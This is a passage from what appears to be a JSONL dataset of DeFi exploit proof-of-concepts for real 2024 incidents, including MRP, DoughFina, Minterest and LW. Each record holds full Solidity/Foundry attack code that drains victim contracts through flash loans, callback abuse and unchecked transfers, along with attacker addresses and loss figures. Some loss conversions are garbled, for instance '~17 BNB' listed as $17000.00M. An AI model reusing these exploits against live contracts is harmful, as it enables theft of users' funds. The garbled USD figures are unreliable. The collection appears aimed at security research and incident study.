ether, \"The attack is invalid.\");\n uint256 Transferamount = MRP.balanceOf(address(this)) / 20;\n uint256 i = 0;\n while (i < 20) {\n MRP.transfer(address(MRP), Transferamount);\n i++;\n }\n }\n\n fallback() external payable {\n if (msg.value > 50 ether && msg.value < 100 ether) {\n address(WMRP).call{value: 58 ether}(\"\");\n }\n }\n\n function on314Swaper() public returns (bytes4) {\n bytes4 selector = bytes4(msg.data);\n if (selector == 0x1457b0ed) {\n return 0x0000000;\n }\n revert(\"no such function\");\n }\n}\n", "type": "exploit_poc", "protocol": "MRP", "date": "2024-07", "file_name": "MRP_exp.sol", "attack_vector": null, "content_hash": "9659fa096333e9c3", "collected_at": "2026-01-07T10:59:16.539910", "_source": "postmortems", "chain": "bsc", "block_number": 40122169, "total_lost_raw": "~17 BNB", "total_lost_usd": 17000000000.0, "attacker_address": "https://bscscan.com/address/0x132d9bbdbe718365af6cc9e43bac109a9a53b138", "attack_contract": "https://bscscan.com/address/0x2bd8980a925e6f5a910be8cc0ad1cff663e62d9d", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "~17 BNB", "category": "unknown", "exploit_code": "function testExploit() public {\n emit log_named_decimal_uint(\"[Begin] Attacker BNB before exploit\", address(this).balance, 18);\n attack();\n emit log_named_decimal_uint(\"[End] Attacker BNB after exploit\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0x132d9bbdbe718365af6cc9e43bac109a9a53b138", "keyinfo_attack_contract": "https://bscscan.com/address/0x2bd8980a925e6f5a910be8cc0ad1cff663e62d9d", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$17000.00M", "content_richness_score": 5.14, "quality_estimate": "medium", "title": "MRP Exploit (2024-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~18K USD\n// TX : https://app.blocksec.com/explorer/tx/eth/0x53334c36502bd022bd332f2aa493862fd8f722138d1989132a46efddcc6b04d4\n// Attacker : https://etherscan.io/address/0x98250d30aed204e5cbb8fef7f099bc68dbc4b896\n// Attack Contract : https://etherscan.io/address/0xe10b2cfa421d0ecd5153c7a9d53dad949e1990dd\n// GUY : https://x.com/SlowMist_Team/status/1815656653100077532\n\nlibrary DATA {\n struct SwapData {\n address vuln;\n address factory;\n bytes32 codehash;\n bytes data;\n }\n}\n\ninterface IMoney {\n function attack(address, address, uint256) external;\n}\n\ninterface IContractTest {\n function getcodehash() external returns (bytes32);\n function cal_address(\n bytes32 hash\n ) external returns (address);\n}\n\ncontract ContractTest is Test {\n IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address Victim = 0x0000000000E715268E0fe41ced1dd101Fc696355;\n address public VulnContract = 0xDd7c2987686B21f656F036458C874D154A923685;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_367_788);\n }\n\n function testExpolit() public {\n emit log_named_decimal_uint(\n \"[Begin] Attacker WETH before exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\n \"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n emit log_named_decimal_uint(\n \"[Begin] Attacker USDC before exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n bytes32 A_hash = keccak256(abi.encode(address(WETH), address(WETH), uint256(0)));\n address A = create_contract(A_hash);\n uint256 A_balance = WETH.balanceOf(address(Victim));\n IMoney(A).attack(address(Victim), address(WETH), A_balance);\n\n bytes32 B_hash = keccak256(abi.encode(address(USDT), address(USDT), uint256(0)));\n address B = create_contract(B_hash);\n uint256 B_balance = USDT.balanceOf(address(Victim));\n IMoney(B).attack(address(Victim), address(USDT), B_balance);\n\n bytes32 C_hash = keccak256(abi.encode(address(USDC), address(USDC), uint256(0)));\n address C = create_contract(C_hash);\n uint256 C_balance = USDC.balanceOf(address(Victim));\n IMoney(C).attack(address(Victim), address(USDC), C_balance);\n emit log_named_decimal_uint(\"[End] Attacker WETH after exploit\", WETH.balanceOf(address(this)), WETH.decimals());\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), USDT.decimals());\n emit log_named_decimal_uint(\"[End] Attacker USDC after exploit\", USDC.balanceOf(address(this)), USDC.decimals());\n }\n\n function getcodehash() public returns (bytes32) {\n return keccak256(type(Money).creationCode);\n }\n\n function create_contract(\n bytes32 tokenhash\n ) internal returns (address) {\n bytes memory bytecode = type(Money).creationCode;\n bytes32 _salt = tokenhash;\n bytecode = abi.encodePacked(bytecode);\n bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), _salt, keccak256(bytecode)));\n address hack_contract = address(uint160(uint256(hash)));\n address addr;\n assembly {\n addr := create2(0, add(bytecode, 0x20), mload(bytecode), _salt)\n }\n return hack_contract;\n }\n\n fallback() external payable {}\n}\n\ncontract Money is Test {\n WETH9 private constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address other = 0xF929bA2AEec16cFfcfc66858A9434E194BAaf80D;\n address public VulnContract = 0xDd7c2987686B21f656F036458C874D154A923685;\n address public owner;\n\n constructor() {\n owner = msg.sender;\n }\n\n function attack(address vuln, address token, uint256 amount) public {\n bytes32 codehash = IContractTest(owner).getcodehash();\n DATA.SwapData memory datas = DATA.SwapData({\n vuln: address(vuln),\n factory: address(owner),\n codehash: codehash,\n data: abi.encodePacked(address(token), hex\"000000\", address(token))\n });\n bytes memory data = abi.encode(datas);\n VulnContract.call(abi.encodeWithSelector(bytes4(0xfa461e33), -1, amount, data));\n WETH.transfer(address(owner), WETH.balanceOf(address(this)));\n address(USDT).call(abi.encodeWithSelector(bytes4(0xa9059cbb), address(owner), USDT.balanceOf(address(this))));\n USDC.transfer(address(owner), USDC.balanceOf(address(this)));\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "MEVbot_0xdd7c", "date": "2024-07", "file_name": "MEVbot_0xdd7c_exp.sol", "attack_vector": "flash_loan", "content_hash": "0814e93bba26bd8d", "collected_at": "2026-01-07T10:59:16.539996", "_source": "postmortems", "chain": "ethereum", "block_number": 20367788, "total_lost_raw": "~18K USD", "total_lost_usd": 18000.0, "attacker_address": "https://etherscan.io/address/0x98250d30aed204e5cbb8fef7f099bc68dbc4b896", "attack_contract": "https://etherscan.io/address/0xe10b2cfa421d0ecd5153c7a9d53dad949e1990dd", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": "~18K USD", "category": "flash-loan", "exploit_code": "function testExpolit() public {\n emit log_named_decimal_uint(\n \"[Begin] Attacker WETH before exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\n \"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n emit log_named_decimal_uint(\n \"[Begin] Attacker USDC before exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n bytes32 A_hash = keccak256(abi.encode(address(WETH), address(WETH), uint256(0)));\n address A = create_contract(A_hash);\n uint256 A_balance = WETH.balanceOf(address(Victim));\n IMoney(A).attack(address(Victim), address(WETH), A_balance);\n\n bytes32 B_hash = keccak256(abi.encode(address(USDT), address(USDT), uint256(0)));\n address B = create_contract(B_hash);\n uint256 B_balance = USDT.balanceOf(address(Victim));\n IMoney(B).attack(address(Victim), address(USDT), B_balance);\n\n bytes32 C_hash = keccak256(abi.encode(address(USDC), address(USDC), uint256(0)));\n address C = create_contract(C_hash);\n uint256 C_balance = USDC.balanceOf(address(Victim));\n IMoney(C).attack(address(Victim), address(USDC), C_balance);\n emit log_named_decimal_uint(\"[End] Attacker WETH after exploit\", WETH.balanceOf(address(this)), WETH.decimals());\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), USDT.decimals());\n emit log_named_decimal_uint(\"[End] Attacker USDC after exploit\", USDC.balanceOf(address(this)), USDC.decimals());\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x98250d30aed204e5cbb8fef7f099bc68dbc4b896", "keyinfo_attack_contract": "https://etherscan.io/address/0xe10b2cfa421d0ecd5153c7a9d53dad949e1990dd", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$18.0K", "content_richness_score": 7.65, "quality_estimate": "medium", "title": "MEVbot_0xdd7c Exploit (2024-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// This contract is not verified\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~27 ETH\n// TX : https://etherscan.io/tx/0x1194e1d6085885ce054a7ff8cd3cd0c3fa308ec87e4ccde8dd0549842fef4f1b\n// Attacker : https://etherscan.io/address/0xabee16e74dd268105f166c27a847edc2b8e7cc4e\n// Attack Contract : https://etherscan.io/address/0x27b27842771df79af6a69795f6fca0948c8333c0\n// GUY : https://x.com/SlowMist_Team/status/1808334870650970514\n\ninterface IVictime {\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory data) external;\n}\n\ncontract XXXExploit is Test {\n address victime_ = address(0x452E253EeB3Bb16e40337D647c01b6c910Aa84B3);\n IERC20 weth_ = IERC20(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_223_094);\n }\n\n function testExploit() public {\n bytes memory data = abi.encode(bool(true), address(weth_));\n IVictime(victime_).uniswapV3SwapCallback(27_349_000_000_000_000_000, 27_349_000_000_000_000_000, data);\n emit log_named_decimal_uint(\"profit = \", weth_.balanceOf(address(this)), 18);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "UnverifiedContr_0x452E25", "date": "2024-07", "file_name": "UnverifiedContr_0x452E25_exp.sol", "attack_vector": null, "content_hash": "fcf89a6bd607f588", "collected_at": "2026-01-07T10:59:16.540047", "_source": "postmortems", "chain": "ethereum", "block_number": 20223094, "total_lost_raw": "~27 ETH", "total_lost_usd": 27.0, "attacker_address": "https://etherscan.io/address/0xabee16e74dd268105f166c27a847edc2b8e7cc4e", "attack_contract": "https://etherscan.io/address/0x27b27842771df79af6a69795f6fca0948c8333c0", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~27 ETH", "category": "unknown", "exploit_code": "function testExploit() public {\n bytes memory data = abi.encode(bool(true), address(weth_));\n IVictime(victime_).uniswapV3SwapCallback(27_349_000_000_000_000_000, 27_349_000_000_000_000_000, data);\n emit log_named_decimal_uint(\"profit = \", weth_.balanceOf(address(this)), 18);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "~27 ETH", "keyinfo_attacker": "https://etherscan.io/address/0xabee16e74dd268105f166c27a847edc2b8e7cc4e", "keyinfo_attack_contract": "https://etherscan.io/address/0x27b27842771df79af6a69795f6fca0948c8333c0", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$27", "content_richness_score": 4.62, "quality_estimate": "low", "title": "UnverifiedContr_0x452E25 Exploit (2024-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~1.81M USD\n// TX : https://app.blocksec.com/explorer/tx/eth/0x92cdcc732eebf47200ea56123716e337f6ef7d5ad714a2295794fdc6031ebb2e\n// Attacker : https://etherscan.io/address/0x67104175fc5fabbdb5a1876c3914e04b94c71741\n// Attack Contract : https://etherscan.io/address/0x11a8dc866c5d03ff06bb74565b6575537b215978\n// GUY : https://x.com/CertiKAlert/status/1811668992882307478\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface ConnectorDeleverageParaswap {\n function flashloanReq(\n bool _opt,\n address[] memory debtTokens,\n uint256[] memory debtAmounts,\n uint256[] memory debtRateMode,\n address[] memory collateralTokens,\n uint256[] memory collateralAmounts,\n bytes[] memory swapData\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n ConnectorDeleverageParaswap vulnContract = ConnectorDeleverageParaswap(0x9f54e8eAa9658316Bb8006E03FFF1cb191AafBE6);\n IAaveFlashloan aave = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);\n address onBehalfOf = 0x534a3bb1eCB886cE9E7632e33D97BF22f838d085;\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_288_622);\n deal(address(USDC), address(this), 80_000_000 ether); //FlashLoan\n }\n\n function testExploit() public {\n attack();\n emit log_named_decimal_uint(\n \"[End] Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }\n\n function attack() public {\n USDC.approve(address(aave), type(uint256).max);\n aave.repay(address(USDC), 938_566_826_811, 2, address(onBehalfOf));\n USDC.transfer(address(vulnContract), 6_000_000);\n address[] memory debtTokens = new address[](1);\n debtTokens[0] = address(USDC);\n uint256[] memory debtAmounts = new uint256[](1);\n debtAmounts[0] = 5_000_000;\n uint256[] memory debtRateMode = new uint256[](1);\n debtRateMode[0] = 0;\n address[] memory collateralTokens = new address[](0);\n uint256[] memory collateralAmounts = new uint256[](0);\n bytes[] memory swapData = new bytes[](2);\n swapData[0] = abi.encode(\n address(USDC),\n address(USDC),\n type(uint128).max,\n type(uint128).max,\n address(onBehalfOf),\n address(onBehalfOf),\n abi.encodeWithSelector(\n bytes4(0x75b4b22d), 22, address(USDC), 5_000_000, address(WETH), 596_744_648_055_377_423_623, 2\n )\n );\n swapData[1] = abi.encode(\n address(USDC),\n address(USDC),\n type(uint128).max,\n type(uint128).max,\n address(WETH),\n address(aave),\n abi.encodeWithSelector(bytes4(0x23b872dd), address(onBehalfOf), address(this), 596_744_648_055_377_423_623)\n );\n vulnContract.flashloanReq(\n false, debtTokens, debtAmounts, debtRateMode, collateralTokens, collateralAmounts, swapData\n );\n }\n\n function executeAction(\n uint256 _connectorId,\n address _tokenIn,\n uint256 _inAmount,\n address _tokenOut,\n uint256 _outAmount,\n uint256 _actionId\n ) external payable {}\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "DoughFina", "date": "2024-07", "file_name": "DoughFina_exp.sol", "attack_vector": "flash_loan", "content_hash": "710af6252e2ced7e", "collected_at": "2026-01-07T10:59:16.540085", "_source": "postmortems", "chain": "ethereum", "block_number": 20288622, "total_lost_raw": "~1.81M USD", "total_lost_usd": 1810000.0, "attacker_address": "https://etherscan.io/address/0x67104175fc5fabbdb5a1876c3914e04b94c71741", "attack_contract": "https://etherscan.io/address/0x11a8dc866c5d03ff06bb74565b6575537b215978", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "critical", "severity_raw": "~1.81M USD", "category": "flash-loan", "exploit_code": "function testExploit() public {\n attack();\n emit log_named_decimal_uint(\n \"[End] Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "~1.81M USD", "keyinfo_attacker": "https://etherscan.io/address/0x67104175fc5fabbdb5a1876c3914e04b94c71741", "keyinfo_attack_contract": "https://etherscan.io/address/0x11a8dc866c5d03ff06bb74565b6575537b215978", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.81M", "content_richness_score": 6.74, "quality_estimate": "medium", "title": "DoughFina Exploit (2024-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~427 ETH\n// TX : https://app.blocksec.com/explorer/tx/mantle/0xb3c4c313a8d3e2843c9e6e313b199d7339211cdc70c2eca9f4d88b1e155fd6bd\n// Attacker : https://mantlescan.info/address/0x618f768af6291705eb13e0b2e96600b3851911d1\n// Attack Contract : https://mantlescan.info/address/0x5fdac50aa48e3e86299a04ad18a68750b2074d2d\n \ninterface IERC3156FlashBorrower {\n function onFlashLoan(\n address initiator,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata data\n ) external returns (bytes32);\n}\n\ninterface Musdy is IERC20 {\n function maxFlashLoan(\n address token\n ) external view returns (uint256);\n function flashLoan(\n IERC3156FlashBorrower receiver,\n address token,\n uint256 amount,\n bytes calldata data\n ) external returns (bool);\n function redeemUnderlying(\n uint256 redeemAmount\n ) external;\n function lendRUSDY(\n uint256 _rUsdyLendAmount\n ) external;\n}\n\ninterface Musd is IERC20 {\n function wrap(\n uint256 _USDYAmount\n ) external;\n}\n\ninterface Meth is IERC20 {\n function borrow(\n uint256 _amount\n ) external;\n}\n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address vulncontract = 0xe38E3a804eF845e36F277D86Fb2b24b8C32B3340;\n Musdy musdy = Musdy(0x5edBD8808F48Ffc9e6D4c0D6845e0A0B4711FD5c);\n Musd musd = Musd(0xab575258d37EaA5C8956EfABe71F4eE8F6397cF3);\n Meth mWETH = Meth(0xfa1444aC7917d6B96Cac8307E97ED9c862E387Be);\n Meth mMETH = Meth(0x5aA322875a7c089c1dB8aE67b6fC5AbD11cf653d);\n IERC20 WETH = IERC20(0xdEAddEaDdeadDEadDEADDEAddEADDEAddead1111);\n IERC20 mETH = IERC20(0xcDA86A272531e8640cD7F1a92c01839911B90bb0);\n IERC20 usdy = IERC20(0x5bE26527e817998A7206475496fDE1E68957c5A6);\n address Proxy = 0xe53a90EFd263363993A3B41Aa29f7DaBde1a932D;\n bytes4 private constant TARGET_FUNCTION_SELECTOR = 0x847d282d;\n uint256 public wrapAmount;\n\n function setUp() public {\n cheats.createSelectFork(\"mantle\", 66_416_576);\n }\n\n function testExpolit() public {\n usdy.approve(address(musdy), type(uint256).max);\n usdy.approve(address(musd), type(uint256).max);\n musd.approve(address(musdy), type(uint256).max);\n musdy.approve(address(musdy), type(uint256).max);\n address[] memory addressArray = new address[](1);\n addressArray[0] = address(musdy);\n address(Proxy).call(abi.encodeWithSignature(\"enableAsCollateral(address[])\", addressArray));\n address(vulncontract).call(\n abi.encodeWithSelector(bytes4(0x490e6cbc), address(this), 0, 4_265_391_252_891_663_973_703_824, \"\")\n );\n // emit log_named_decimal_uint(\"[End] Attacker musdy balance after exploit\", musdy.balanceOf(address(this)), musdy.decimals());\n mWETH.borrow(223 ether);\n mMETH.borrow(204 ether);\n emit log_named_decimal_uint(\n \"[End] Attacker musdy balance after exploit\", musdy.balanceOf(address(this)), musdy.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker mETH balance after exploit\", mETH.balanceOf(address(this)), mETH.decimals()\n );\n }\n // function 0x847d282d(uint256 varg0, uint256 varg1, uint256 varg2){\n\n function myFunction(uint256 a, uint256 b, uint256 c) public {\n uint256 i = 0;\n initializeWrapAmount(4_265_037_756_531_702_250_012_049);\n while (i < 24) {\n uint256 amount = musdy.maxFlashLoan(address(usdy));\n musdy.flashLoan(IERC3156FlashBorrower(address(this)), address(usdy), amount, \"\");\n musdy.redeemUnderlying(4_265_817_792_016_953_140_101_195);\n i++;\n }\n usdy.transfer(address(msg.sender), 4_265_817_792_016_953_140_101_195);\n }\n\n function onFlashLoan(\n address initiator,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata data\n ) external returns (bytes32) {\n musd.wrap(wrapAmount);\n wrapAmount -= 383_885_212_760_249_758;\n uint256 thisamount = musd.balanceOf(address(this));\n musdy.lendRUSDY(thisamount);\n return keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n }\n\n function initializeWrapAmount(\n uint256 initialAmount\n ) public {\n wrapAmount = initialAmount;\n }\n\n fallback() external payable {\n require(msg.data.length >= 4, \"Invalid data\");\n bytes4 selector;\n assembly {\n selector := calldataload(0)\n }\n if (selector == TARGET_FUNCTION_SELECTOR) {\n uint256 varg0;\n uint256 varg1;\n uint256 varg2;\n assembly {\n varg0 := calldataload(4)\n varg1 := calldataload(36)\n varg2 := calldataload(68)\n }\n myFunction(varg0, varg1, varg2);\n } else {\n revert(\"Function not recognized\");\n }\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Minterest", "date": "2024-07", "file_name": "Minterest_exp.sol", "attack_vector": "flash_loan", "content_hash": "7387a6821bdebc46", "collected_at": "2026-01-07T10:59:16.540133", "_source": "postmortems", "chain": "unknown", "block_number": 66416576, "total_lost_raw": "~427 ETH", "total_lost_usd": 427.0, "attacker_address": "https://mantlescan.info/address/0x618f768af6291705eb13e0b2e96600b3851911d1", "attack_contract": "https://mantlescan.info/address/0x5fdac50aa48e3e86299a04ad18a68750b2074d2d", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~427 ETH", "category": "flash-loan", "exploit_code": "function testExpolit() public {\n usdy.approve(address(musdy), type(uint256).max);\n usdy.approve(address(musd), type(uint256).max);\n musd.approve(address(musdy), type(uint256).max);\n musdy.approve(address(musdy), type(uint256).max);\n address[] memory addressArray = new address[](1);\n addressArray[0] = address(musdy);\n address(Proxy).call(abi.encodeWithSignature(\"enableAsCollateral(address[])\", addressArray));\n address(vulncontract).call(\n abi.encodeWithSelector(bytes4(0x490e6cbc), address(this), 0, 4_265_391_252_891_663_973_703_824, \"\")\n );\n // emit log_named_decimal_uint(\"[End] Attacker musdy balance after exploit\", musdy.balanceOf(address(this)), musdy.decimals());\n mWETH.borrow(223 ether);\n mMETH.borrow(204 ether);\n emit log_named_decimal_uint(\n \"[End] Attacker musdy balance after exploit\", musdy.balanceOf(address(this)), musdy.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), WETH.decimals()\n );\n emit log_named_decimal_uint(\n \"[End] Attacker mETH balance after exploit\", mETH.balanceOf(address(this)), mETH.decimals()\n );\n }\n // function 0x847d282d(uint256 varg0, uint256 varg1, uint256 varg2){", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://mantlescan.info/address/0x618f768af6291705eb13e0b2e96600b3851911d1", "keyinfo_attack_contract": "https://mantlescan.info/address/0x5fdac50aa48e3e86299a04ad18a68750b2074d2d", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$427", "content_richness_score": 7.65, "quality_estimate": "medium", "title": "Minterest Exploit (2024-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~7K USD\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x96a955304fed48a8fbfb1396ec7658e7dc42b7c140298b80ce4206df34f40e8d\n// Attacker : https://bscscan.com/address/0x56b2d55457b31fb4b78ebddd6718ea2667804a06\n// Attack Contract : https://bscscan.com/address/0xfe7e9c76affdba7b7442adaca9c7c059ec3092fc\n \n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IERC20 Lw = IERC20(0xABC6e5a63689b8542dbDC4b4f39a7e00d4AC30c8);\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n address Hackcontract;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 40_287_544);\n deal(address(BUSDT), address(this), 0);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker BUSDT before exploit\", BUSDT.balanceOf(address(this)), 18);\n Money Hackcontract = new Money();\n emit log_named_decimal_uint(\"[End] Attacker BUSDT after exploit\", BUSDT.balanceOf(address(this)), 18);\n }\n}\n\ncontract Money is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakePair Pair = IPancakePair(0x88fF4f62A75733C0f5afe58672121568a680DE84);\n IERC20 Lw = IERC20(0xABC6e5a63689b8542dbDC4b4f39a7e00d4AC30c8);\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n address owner;\n\n constructor() {\n owner = msg.sender;\n Attack();\n }\n\n function Attack() public {\n Lw.transferFrom(address(Lw), address(this), 1_000_000_000_000_000_000_000_000_000_000_000);\n uint256 i = 0;\n while (i < 9999) {\n swap_token_to_token(address(Lw), address(BUSDT), 800_000_000 ether);\n i++;\n }\n BUSDT.transfer(msg.sender, BUSDT.balanceOf(address(this)));\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "LW", "date": "2024-07", "file_name": "LW_exp.sol", "attack_vector": null, "content_hash": "f42458dc9a8e2479", "collected_at": "2026-01-07T10:59:16.540192", "_source": "postmortems", "chain": "bsc", "block_number": 40287544, "total_lost_raw": "~7K USD", "total_lost_usd": 7000.0, "attacker_address": "https://bscscan.com/address/0x56b2d55457b31fb4b78ebddd6718ea2667804a06", "attack_contract": "https://bscscan.com/address/0xfe7e9c76affdba7b7442adaca9c7c059ec3092fc", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~7K USD", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0x56b2d55457b31fb4b78ebddd6718ea2667804a06", "keyinfo_attack_contract": "https://bscscan.com/address/0xfe7e9c76affdba7b7442adaca9c7c059ec3092fc", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$7.0K", "content_richness_score": 3.27, "quality_estimate": "low", "title": "LW Exploit (2024-07)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\n// @KeyInfo - Total Lost : ~56K BUSD\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x9a8c4c4edb7a76ecfa935780124c409f83a08d15c560bb67302182f8969be20d\n// Attacker : https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32\n// Attack Contract : https://bscscan.com/address/0x88f9e1799465655f0dd206093dbd08922a1d9e28\n \n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface Smartbank {\n function _Start() external;\n function Buy_SBT(\n uint256 _SBT_\n ) external;\n function Loan_Get(\n uint256 USDT_\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 SBT = IERC20(0x94441698165fB7e132e207800B3eA57E34c93a72);\n Smartbank Bank = Smartbank(0x2b45DD1d909c01aAd96fa6b67108D691B432f351);\n Uni_Pair_V3 Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 